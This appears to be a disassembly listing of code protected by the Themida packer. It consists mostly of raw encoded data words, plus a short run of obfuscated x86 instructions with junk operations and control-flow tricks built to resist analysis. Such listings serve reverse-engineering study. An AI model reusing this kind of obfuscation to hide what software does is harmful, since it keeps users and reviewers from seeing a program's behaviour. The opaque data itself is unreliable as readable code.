		dd 0E97C809Eh, 1324h, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 14h, 95C35343h, 33EDBD83h,	0F0007FAh, 3685h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0BA460DD9h, 8166A970h, 0B804FEF1h, 0
; ---------------------------------------------------------------------------
		mov	ch, dl
		retn	4
; ---------------------------------------------------------------------------
		mov	edi, [ebp+7FA1CB1h]
		mov	eax, eax
		pusha
		and	ebx, [ebp+7FA1191h]
		mov	edx, esi
		popa
		cmp	dword ptr [ebp+7FA2ACDh], 0
		jnz	short loc_5C0CED
		cmp	dword ptr [ebp+7FA1899h], 0
		jz	short loc_5C0D00


loc_5C0CED:				; CODE XREF: Themida_:005C0CE2j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 4D0h
		lea	ebx, [ebp+7FCDFF8h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5C0D00:				; CODE XREF: Themida_:005C0CEBj
		cmp	dword ptr [ebp+7FA1899h], 0
		jz	short loc_5C0D1A
		push	eax
		push	ebx
		mov	eax, 4D0h
		lea	ebx, [ebp+7FCDF45h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5C0D1A:				; CODE XREF: Themida_:005C0D07j
		mov	ecx, 2FB34F6Eh
		push	0
		push	edi
		call	sub_5C0D2A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0D2A	proc near		; CODE XREF: Themida_:005C0D22p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5C0D2A	endp

; ---------------------------------------------------------------------------
		dw 4067h
		dd 0F2775E0Bh, 0D18D03E2h, 0E907FA0Dh, 9, 22D73B32h, 0A3E56BD2h
		dd 64DF8138h, 8B38968Fh, 1E858DC0h, 6A07FDD8h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0EF14C350h, 60D799CAh, 3168F8D6h, 0FA0AD58Dh, 0C8B95007h
		dd 89555163h, 0E7812404h, 11CE1A60h, 0D7DB858Dh, 666007FDh
		dd 3E20E681h, 17CDBD01h, 906107FAh, 264BB966h, 90CA8B50h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7BC35141h
		dd 100C8AB9h, 95B34634h, 290595FFh, 0BD8B07FAh,	7FA3195h
		dd 424448Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	3BC35040h, 0E2802E31h, 6858930h, 0F07FDD8h, 448BCBBFh
		dd 6A0824h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0B809EDC3h, 12C1AE4Ah, 32A59503h,	858907FAh
		dd 7FDD81Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	7AC35545h, 0FF968961h, 7E8CBC6h, 5F000000h, 0C1D52720h
		dd 0EF8A406Fh, 21B58959h, 8307FA2Bh, 0FA24ADBDh, 850F0007h
		dd 104h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 16h,	39C35343h, 830F45BCh, 5, 41560EBFh, 6585C61Eh
		dd 4707FA06h, 5A41B966h, 0E5FF5E68h, 665250AAh,	0FD5B1BAh
		dd 0CE831h, 29E90000h, 0FAA90101h, 0BFFCF2A1h, 5A5F26B4h
		dd 24348158h, 7E7F588Ch, 2095B5FFh, 6A07FAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 6539EFC3h
		dd 4B1770A8h, 95BD893Ch, 8D07FA33h, 0FDA3DD85h,	56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 66C7A697h, 0D0FFD68Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0BAC35646h, 8944ED80h, 0FA24AD85h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 6226165Ch, 419C6932h, 0BD8BADA7h, 7FA1C21h, 2835BD83h
		dd 0F0007FAh, 11985h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 15749C26h, 803421C6h
		dd 85C649F1h, 7FA0665h,	57006A47h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 340F9830h, 0AEF36827h
		dd 0BA66D16Ah, 3481526Ah, 651B1124h, 53006A5Bh,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 4D97CBB1h
		dd 6295915Dh, 66574C3Fh, 2FA8D781h, 95B5FF5Ah, 6A07FA20h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0FB1AC357h, 8AF8E9F5h, 0DD858DD4h, 6A07FDA3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 72B6C356h, 0DE97Ch, 37980000h, 2CE81997h
		dd 3CAD011Dh, 0F55610Eh, 68Ah, 0F1BD8900h, 0FF07FA30h
		dd 0BE8D0h, 564D0000h, 16058BCh, 4582BF1Ah, 5E856h, 13280000h
		dd 52244735h, 895A5A59h, 0FA283585h, 0BD83F807h, 7FA0075h
		dd 2B850F00h, 81000001h, 466373E1h, 6585C67Ah, 5607FA06h
		dd 78B0C181h, 4E82BCDh,	39000000h, 50D41F6Dh, 12E9h, 0EECA3200h
		dd 319D85D8h, 0EA613DF8h, 0A636EBAFh, 8B296570h, 60042444h
		dd 2870Fh, 70B10000h, 0E9008B61h, 14h, 694095DFh, 3522A0D2h
		dd 4F06B1D0h, 84BE6DEAh, 0C9A95EA5h, 4244489h, 6A604EBAh
		dd 6A5857h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 9D4F4FC3h, 9C1E2783h, 8910620Ch, 0FA24DDB5h
		dd 0B5FFF807h, 7FA2095h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0AC35646h, 0FCFB8351h, 60C48616h, 81610CB2h
		dd 0A5FF67DAh, 0DD858D60h, 6A07FDA3h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8195C357h
		dd 0DA562FD7h, 8BD0FF62h, 0FA2FA98Dh, 89BD2307h, 8907FA17h
		dd 0FA007585h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 5F7D87E5h, 2F02C7A5h
		dd 14958529h, 85C607FAh, 7FA0665h, 8E96Ch, 4CA40000h, 8B7D9B0Dh
		dd 4B68CDCAh, 50EA7669h, 0FEAB652h, 5AF48A31h, 24348158h
		dd 317319C8h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 15h,	0FCC35747h, 61958B06h, 6607FA14h, 0B5FFCE8Bh, 7FA08A5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 7CC35242h
		dd 63404F3Ch, 0F764258Ch, 0CD958BF9h, 8D07FA1Ch, 0FA3AE285h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0B5EF4595h, 9ED34CDh, 0D0FFF5B8h, 48C38060h
		dd 0AE961h, 8BB50000h, 53F94B02h, 712D7EEDh, 0D80A8589h
		dd 8E907FDh, 0C1000000h, 6B06959Dh, 83117E09h, 0FDD826BDh
		dd 850F0007h, 0FEh, 1364B966h, 66585C6h, 6A4907FAh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0B4C4C357h, 4E815h, 29E90000h, 0FDB18C15h, 8E86050h
		dd 0FA000000h, 0ACF63B33h, 5E1ABFE2h, 10E9h, 0B2875400h
		dd 502A6ECAh, 0BB776DEDh, 899E6C6Bh, 448B6145h,	60B50424h
		dd 16B2008Bh, 4244489h,	1BB5BA53h, 585A06D3h, 10E9h, 146ACD00h
		dd 53E3DF2Dh, 578145BFh, 67542B0Ah, 819589FEh, 0FF07FA08h
		dd 0FA08A5B5h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 8F38A6AEh, 40794905h
		dd 7B662FB9h, 0E2858D6Ah, 8107FA3Ah, 456288DFh,	6AD0FF4Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 4381C356h, 0D1431F53h, 81518B24h,	11EBBDE9h
		dd 85895F0Eh, 7FDD826h,	0F259509h, 46A07FAh, 0E0816660h
		dd 0BD8BFCBAh, 7FA2B11h, 3806861h, 8B60D0A7h, 0FE8CAh
		dd 791C0000h, 9B46CC1Dh, 54967C3Ch, 2DA5AD60h, 0CA8B66E6h
		dd 481615Ah, 590C8024h,	50006A2Fh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0E73C5482h, 0D68F5C7h
		dd 573F7248h, 0D31D01BAh, 34815F14h, 73480D24h,	2D95013Fh
		dd 6A07FA31h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0FF5DF18Eh, 0FA2A3595h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 85F74023h, 7FCD8E12h, 69BF86E6h, 0B6664B9Fh,	16858996h
		dd 2907FDD8h, 0FA1625BDh, 0E85C707h, 7FDD8h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0F2CC351h, 685h, 55E78100h, 6A5019BAh, 619D8900h
		dd 6807FA2Fh, 0D46F25CAh, 66A7B560h, 61B7D7BFh,	36240481h
		dd 6A2B91DAh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 6C56C356h, 0BFC8D9B9h,	0E9B50909h
		dd 9007FA2Ah, 0EAD305BAh, 11E95018h, 40000000h,	0B2DDDD36h
		dd 82AB5278h, 3BF1C4F9h, 7B1918ECh, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0CF8B66ADh
		dd 0BF660B6Ah, 858DC2C0h, 7FDD7E3h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0E6C35040h,	87ED7281h, 0E91A2335h
		dd 30F9B589h, 0D08B07FAh, 12D28166h, 0CA8B905Ah, 0D1BA6650h
		dd 958B9037h, 7FA1C71h,	24AD95FFh, 6A07FAh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0B9FF4C3h
		dd 668A31DFh, 0BD0BD38Bh, 7FA1F4Dh, 0D7EDB58Dh,	0B59607FDh
		dd 52505016h, 5F616052h, 0D58A310Fh, 0F96585Ah,	5050CFBFh
		dd 8B666052h, 0A69ABFD9h, 0F611EE6h, 5AD1B631h,	24048958h
		dd 287DBD8Bh, 95FF07FAh, 7FA2835h, 0BFEB70Fh, 42850FC0h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0E6A8C357h, 0C85DDAE9h, 0D6FE16C4h
		dd 31658D89h, 84E907FAh, 0E9000006h, 0Dh, 0C15E4D9Eh, 0B6FA8C22h
		dd 1897F0A6h, 6AD0FFDAh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 32D3C355h, 0B58BAD90h
		dd 7FDD816h, 2DE9BD89h,	468D07FAh, 4840F20h, 60000000h
		dd 6A615952h, 0BA666004h, 8166D57Fh, 61CBE1D6h,	60525050h
		dd 310F5250h, 0F78A585Ah, 5A310F61h, 24048958h,	0AABE6660h
		dd 518529FFh, 6107FA22h, 6258589h, 95FF07FAh, 7FDD826h
		dd 2BDDBD29h, 0C00B07FAh, 67840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 8F30A1C3h
		dd 2DB58B60h, 0F07FA2Bh, 689h, 698D8B00h, 6107FA1Fh, 0C8BF0F50h
		dd 5B5E95Ah, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 956524C3h, 18BFF09Eh, 8B185E72h
		dd 0FA07B58Dh, 207E8007h, 80840F00h, 66000005h,	56C6E981h
		dd 5800F60h, 0B9000000h, 2514405Dh, 6A20468Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 5266C351h, 0EE943B79h, 73C67742h, 18F59D89h,	0DE907FAh
		dd 0
		dd 3BBCA79Ah, 0FE06AE09h, 7AC95546h, 0D8128589h, 0B70F07FDh
		dd 127E9FEh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0CFE8E2C3h, 0B20379CAh, 40AC0A2Eh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 92C35343h
		dd 9712E400h, 0BC98589h, 605007FAh, 4F46B966h, 800Fh, 89610000h
		dd 23602404h, 0FA223585h, 0F3BF0F07h, 6A046A61h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0C75AC353h, 34406A71h, 61858936h, 9007FA21h,	693B5FBAh
		dd 8B665018h, 6A90CEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 6A5C55C3h, 9BE9D90Dh, 9DBD8B99h
		dd 0FF07FA25h, 0FDD82695h, 2D8D8B07h, 8B07FA24h, 0FA30C58Dh
		dd 60D88B07h, 2655BD8Bh, 61FC07FAh, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0D2694095h
		dd 0D03522A0h, 858906B1h, 7FA3295h, 840FDB0Bh, 11h, 2C5BD0Bh
		dd 0E907FAh, 29000004h,	0FA18FD85h, 388007h, 0FEF5850Fh
		dd 8166FFFFh, 0E9D767C7h, 2Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0B0C35040h,	96609708h, 0DA81DE10h
		dd 5E410168h, 81B58948h, 3B07FA2Dh, 0FDD81285h,	4B820F07h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0C4F1C351h, 0F47D629h,	1D1D8D8Bh
		dd 388007FAh, 1B840F5Ch, 81000000h, 59B429C2h, 0B5BD8B5Ah
		dd 8007FA2Eh, 850F2F38h, 0FFFFFFA8h, 209D952Bh,	0F4007FAh
		dd 0BD83D7BFh, 7FDD81Ah, 67840F00h, 6A000001h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0B299C356h, 0F20C8C7Ch, 0F8D0F50h, 0E8000000h, 5, 0A35F4BB8h
		dd 8DBF66BAh, 48959F1h,	9E824h,	0F30D0000h, 4F9B87E3h
		dd 534148A9h, 2F91BD8Bh, 5F5907FAh, 0D81A8503h,	958907FDh
		dd 7FA222Dh, 0C8BA6650h, 240489BCh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 41C35242h, 0BA7AC42Ch, 4E1BB238h
		dd 6A046Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0EB0615C3h, 0E950035Fh, 5, 3F3D560Ch, 24048971h
		dd 14799503h, 95FF07FAh, 7FDD826h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0A1C35646h,	0C56EFF2Eh, 803D51BCh
		dd 68E0Fh, 9D010000h, 7FA2C9Dh,	2BD88BFCh, 0FA2DE9BDh
		dd 8B665807h, 159523C8h, 0B07FA10h, 24840FDBh, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 67FEC356h, 1CE93178h, 0C6000002h,	6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 295776C3h, 0E4F96257h, 6DBA5845h, 5848F5CFh,	1E7D9D89h
		dd 539007FAh, 8B66505Ah, 816690FEh, 6AEDF8D2h, 57006A1Eh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0F50FC01h, 88h, 24048900h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 90C35141h, 2DBDBF66h, 0D82695FFh
		dd 0B58907FDh, 7FA1D85h, 8D89D88Bh, 7FA1869h, 65BD8B58h
		dd 0B07FA25h, 3E840FDBh, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 9F5BC351h
		dd 0FEB13828h, 0B96656DFh, 0F5F6744h, 689h, 599D8900h
		dd 0E907FA05h, 137h, 0DCADBEB9h, 830F901Fh, 4, 5A616051h
		dd 58C0F50h, 0B9000000h, 1E5D990Ch, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0C305C936h
		dd 8BA18564h, 6B5FFBEh,	8007FDD8h, 0FB8BDBDAh, 0D80A95FFh
		dd 6A07FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 782F58C3h, 9F184229h, 798D89CFh, 6007FA26h
		dd 15598D8Bh, 0B6107FAh, 33850FC0h, 61000000h, 0E9FB8B66h
		dd 0Ah,	0B288822h, 819B7106h, 85C748CDh, 7FDD80Eh, 1, 0C898D0Bh
		dd 84E907FAh, 0F000000h, 581h, 1C00BF00h, 6A61536Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0BC5C350h, 95896EADh, 7FA2871h, 11CC681h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 6E0861C3h, 16DA81F8h, 0E92FFA28h, 0FFFFF9DEh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 7C35545h, 536E654Fh
		dd 6872A618h, 0D50F101h, 0BF525060h, 63716315h,	0EF8A310Fh
		dd 870F585Ah, 2, 81616160h, 71012434h, 0BD8B0D50h, 7FA2741h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 2B5E17C3h, 8BE22958h, 16B5FFFAh, 6A07FDD8h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0CA52C357h, 1DB7470Eh, 4AC47CAAh,	2225B589h
		dd 810F07FAh, 6, 15B9958Bh, 95FF07FAh, 7FA0075h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0A4C35040h, 2EE7EDD2h
		dd 898CBE25h, 0FA1D19BDh, 0E858B07h, 6A07FDD8h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 7C6AC353h, 16F59589h, 669007FAh, 0B250D18Bh,	11E9908Ah
		dd 1E000000h, 0EA27CF5Bh, 0F1EC42F5h, 874D173h,	5866F78Bh
		dd 0B0C32BBAh, 1E858D17h, 6A07FDD8h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0B8CEC352h
		dd 3A6DEED9h, 8D2B08B2h, 7FA2B4Dh, 8917B250h, 6A2404h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0E413E9C3h, 0ED4EEBC7h, 81BF724Bh, 0FD2DC9D1h, 7E903h
		dd 0A970000h, 0E45B7D6Bh, 0DB858D8Fh, 6A07FDD7h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0AB8BC351h, 487E8E85h, 0F4FF69Ch, 1783h, 12E900h, 0AD7D0000h
		dd 33BCDFE0h, 28CBD455h, 2FA3C254h, 93759CDDh, 0BE990h
		dd 2FE10000h, 8DEB9C8Bh, 4B82BD01h, 52505079h, 0D357D5BFh
		dd 0E9310F7Eh, 0Bh, 0BD3E25AEh,	5166AEA9h, 5ABF0C27h, 8B669058h
		dd 0F4EA81CBh, 0FF72FAC9h, 0FA0EE195h, 0E9BD8907h, 8B07FA02h
		dd 56006AC0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 83A2BEE3h, 0FA2ACDBDh, 9750007h,	1899BD83h
		dd 740007FAh, 8B535013h, 4D0B8C0h, 9D8D0000h, 7FCE05Fh
		dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535011h,	4D0h, 0DF5E9D8Dh
		dd 0D3FF07FCh, 6A585Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0DF7FBCC3h, 0F98B6605h, 0F7C3BF66h
		dd 8EEFB966h, 8B66C08Bh, 6A58D7h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0B51898C3h, 66143080h
		dd 69E8E281h, 0E90008C2h, 14h, 95296D2h, 1A064257h, 23F13C7Eh
		dd 0CD0C5DB6h, 0CA5A0DA5h, 8589C08Bh, 7FA071Dh,	0D84B858Dh
		dd 0CE907FDh, 90000000h, 1F8F5A8h, 20078042h, 0E9D13A3Fh
		dd 0Bh,	6725A117h, 7D96C729h, 89E8A018h, 0FA2C6D85h, 39EB07h
		dd 0CC00AF00h, 0E400AF02h, 0AF02h, 0FA000000h, 462F59h
		dd 0CA773655h, 0A623275Dh, 854E2C59h, 184F261Eh, 7E770C30h
		dd 53230E7Ch, 0EB530D44h, 354B165Eh, 0A3472355h, 84232850h
		dd 0E82341D8h, 0B77E6230h, 1E4FCB6Dh, 3967C334h, 8E235834h
		dd 84760730h, 0D16A8E7Eh, 5AB24815h, 0BA2328F0h, 742341D8h
		dd 0F9796230h, 3977CB6Ah, 0AA67C334h, 47235634h, 60710030h
		dd 1C9EC197h, 0E824B81Ah, 0C9A04B45h, 3DD95AA9h, 4D3A3630h
		dd 36E3C963h, 47234689h, 83EAC7B9h, 4CAE45CAh, 0EFDFA014h
		dd 2C7891CFh, 22BAFFB3h, 692345CAh, 36701227h, 47234689h
		dd 83EAC7B9h, 4CAE45CAh, 0EFDF9D23h, 2C7891CFh,	0FB96CB67h
		dd 4724B81Dh, 8806FFBBh, 87A845CAh, 4B76425Ah, 0D1234233h
		dd 0B5E01F10h, 70072EB9h, 3E0706B1h, 1D234224h,	0E0E01775h
		dd 4636AFB0h, 593F6BB5h, 0B4A68437h, 0BE24B836h, 9C74425Ah
		dd 3A234233h, 42E01D10h, 8A073EB9h, 430706B1h, 0A323422Bh
		dd 0EFE01577h, 0E8F57A57h, 9DCDF248h, 3A23423Eh, 51B7E3F4h
		dd 0BC37A32Dh, 667DEFCBh, 0C64BE2ECh, 50B7BAD4h, 3BCE6634h
		dd 8BDA459Fh, 0C003D785h, 4E232837h, 8E2341D8h,	84786230h
		dd 877FCB6Bh, 0F567C334h, 0E8235834h, 0B7700130h, 72EF5DC6h
		dd 123FE43Ah, 3DB938Fh,	0BA809FB5h, 6A9C4D37h, 64AA92CFh
		dd 0EFD95241h, 626AF7B9h, 3E4945CAh, 75DCFD3Fh,	24D6F4E2h
		dd 43A2A281h, 0A97A6C14h, 83232865h, 0E82341D8h, 0B7796230h
		dd 1E77CB6Ah, 3967C334h, 8E235F34h, 84710030h, 7D85AE99h
		dd 0B9F8280Ah, 0ECCB700Fh, 98234230h, 6A234232h, 1DA34D62h
		dd 81234230h, 45A14D01h, 28234230h, 817B18F8h, 0EC0706BBh
		dd 0F08CFC56h, 844542BBh, 59AAAF34h, 579C4614h,	1F276DA7h
		dd 24BF9989h, 0BB232850h, 0EBCB1530h, 54234230h, 0B37C816Fh
		dd 9C27664Ch, 95276674h, 234230h, 58A48167h, 40A51FD0h
		dd 26A9C758h, 744992CFh, 3A20AA63h, 46034230h, 0D2AA19F3h
		dd 3A24614h, 0A3354614h, 82604230h, 0C8CB2FF3h,	742349D9h
		dd 56B56630h, 0CC278E2Bh, 6BD500D7h, 472ACD3Fh,	292C4230h
		dd 0D1234233h, 616294B0h, 89C8C8B5h, 6C232837h,	1D2341D8h
		dd 4D7D6230h, 6357CB6Eh, 8767C334h, 0D1235934h,	2B750430h
		dd 0B263FF5h, 0A6839DEh, 0F4F1FD3Fh, 8E23423Dh,	0BDA99583h
		dd 0D9BAB534h, 15734972h, 0EDDBC9EEh, 742340FCh, 0D1ADC7B9h
		dd 0DDA045CDh, 1CA6CB28h, 7424BFDBh, 0A1CFFBF0h, 7BD04230h
		dd 574522C8h, 0C1A83BEBh, 3DD9738Dh, 78A68451h,	0CD24B836h
		dd 0AF70425Ah, 0A3234233h, 8AE01910h, 0EC071EB9h, 700706B1h
		dd 3A23422Dh, 0F2E01173h, 0D0A3618Bh, 2AA0EEh, 0A32AAA78h
		dd 0BC9D4230h, 578F6B3Ah, 75154354h, 0C00AA785h, 774B1837h
		dd 814C2582h, 472359B1h, 0AECB2230h, 3B234230h,	2319BB40h
		dd 0E5D6F196h, 2DAEBB4Dh, 1271126Ah, 0EF7B1801h, 0B30746B1h
		dd 0AC0FBD88h, 0D12342BDh, 7D96BD30h, 0FF24B810h, 0C0115BBDh
		dd 0B496C937h, 324B82Dh, 0BA809FB5h, 0F4232837h, 0D12341D8h
		dd 2B7C6230h, 505FCB6Fh, 1E67C334h, 1D235834h, 4D740530h
		dd 2692079Fh, 4A6325A6h, 0D1234224h, 31E96D8Ah,	4DA3B698h
		dd 37D49A50h, 0BC888514h, 3636ACC1h, 65D6FFBBh,	73DC45CAh
		dd 0F246D7B9h, 6DAA45CAh, 73D95285h, 1F56FFBBh,	98AE45CAh
		dd 89D947A1h, 4723C63Fh, 26AA4230h, 0D6D969D9h,	75425Ah
		dd 74234233h, 64E01C10h, 190736B9h, 8A0706B1h, 4723422Bh
		dd 7CE01476h, 25ED91F5h, 0D935A86Eh, 8E240FA5h,	5FA68437h
		dd 4E24B836h, 0A076D7BBh, 0FAA845CAh, 0A4D95789h, 0F97BF758h
		dd 0CC27C3F3h, 4DABB213h, 0D274425Ah, 1D234233h, 0D1E01D10h
		dd 43073EB9h, 0A70706B1h, 0D1234224h, 0D7E01577h, 81A64B60h
		dd 6324B82Ch, 3DB6F7CFh, 0BAA45CAh, 40D96D71h, 0FEC7BDh
		dd 642045CDh, 0EFD954C5h, 744992CFh, 3A20AA62h,	47034230h
		dd 0DAAA18F3h, 3A24614h, 0A33A4614h, 83614230h,	7D166BF3h
		dd 7B77F3DEh, 3A2344B4h, 0BCAEC930h, 724B824h, 0BD335BB5h
		dd 0F2232837h, 0D12341D8h, 2B7A6230h, 506FCB69h, 1E67C334h
		dd 1D235834h, 4D720330h, 4449DE1h, 2832E769h, 2B2BEFA5h
		dd 8DA68437h, 2724B836h, 0A1C9C356h, 0AE192A99h, 3045DE49h
		dd 43A2CC2Dh, 3C323B14h, 0D1A84D0Bh, 0E7234230h, 0C1DCB287h
		dd 3DD962A5h, 0F574425Ah, 8E234233h, 18E01D10h,	0A7073EB9h
		dd 0D50706B1h, 0E8234226h, 0DBE01577h, 0B7AAA18Bh, 1AD95261h
		dd 0BAEB1BBh, 40DEE1EDh, 4B72425Ah, 0D1234233h,	0B1E01B10h
		dd 70070EB9h, 3E0706B1h, 1D234227h, 5DE01371h, 2711EE56h
		dd 0A9CB22C9h, 20234230h, 0EF7ED10Ah, 0B76EB747h, 0B72C1ADCh
		dd 1D234230h, 5EDC2351h, 48D9C956h, 0A32347BBh,	36A22430h
		dd 6DAAFC8Ah, 73D96575h, 0D276425Ah, 1D234233h,	0D3E01F10h
		dd 43072EB9h, 0A70706B1h, 0D1234225h, 21E01775h, 742BAB1Ah
		dd 30724230h, 40AAC435h, 0BE58845h, 40D94455h, 0F4232877h
		dd 0D12341D8h, 2B7C6230h, 505FCB6Fh, 1E67C334h,	1D235734h
		dd 4D740530h, 8C4B8EE7h, 4ACBCC10h, 0D123423Eh,	8AC221B3h
		dd 0D43E07A3h, 0C0E38CB7h, 29A230B2h, 0DEDE2014h, 1623286Fh
		dd 0A32341D8h, 127A6230h, 0CC6FCB69h, 5067C334h, 3A235434h
		dd 0DE720330h, 71457F77h, 0BD03D785h, 7AA22437h, 54AEAC4Fh
		dd 0EFDEE1EDh, 9C74425Ah, 3A234233h, 42E01D10h,	8A073EB9h
		dd 430706B1h, 0A323422Ch, 5BE01577h, 0EB78D073h, 99290BE4h
		dd 3A4992CFh, 1D20AA62h, 0D4034230h, 13AA18F3h,	0E7A24614h
		dd 0D1394614h, 0BA614230h, 0AC267EF3h, 0FC3B31D2h, 14A6CBC9h
		dd 6724B81Ah, 4723423Bh, 0B4FD0F2Eh, 0F235F1E9h, 2E521F5Dh
		dd 8E2527B5h, 0AF280537h, 1AD966B9h, 74432A58h,	55CA1514h
		dd 0D1234230h, 5E627631h, 0CFFB7224h, 3A27716Dh, 16A1A680h
		dd 19A21DCFh, 6F935014h, 0FA12156Ch, 0A4D97335h, 4496BD6Eh
		dd 0D924B810h, 8E35CF8Dh, 0E7A6CF37h, 1224BF93h, 8E2342B9h
		dd 0F5F3BD30h, 0F2A6CBE7h, 0BB24B819h, 0EBCB1130h, 54234230h
		dd 0B378816Bh, 9C27666Ch, 93276674h, 4234230h, 1FC58163h
		dd 4286FF8h, 90AAF9BDh,	7246C7F6h, 506445CAh, 1ECB1730h
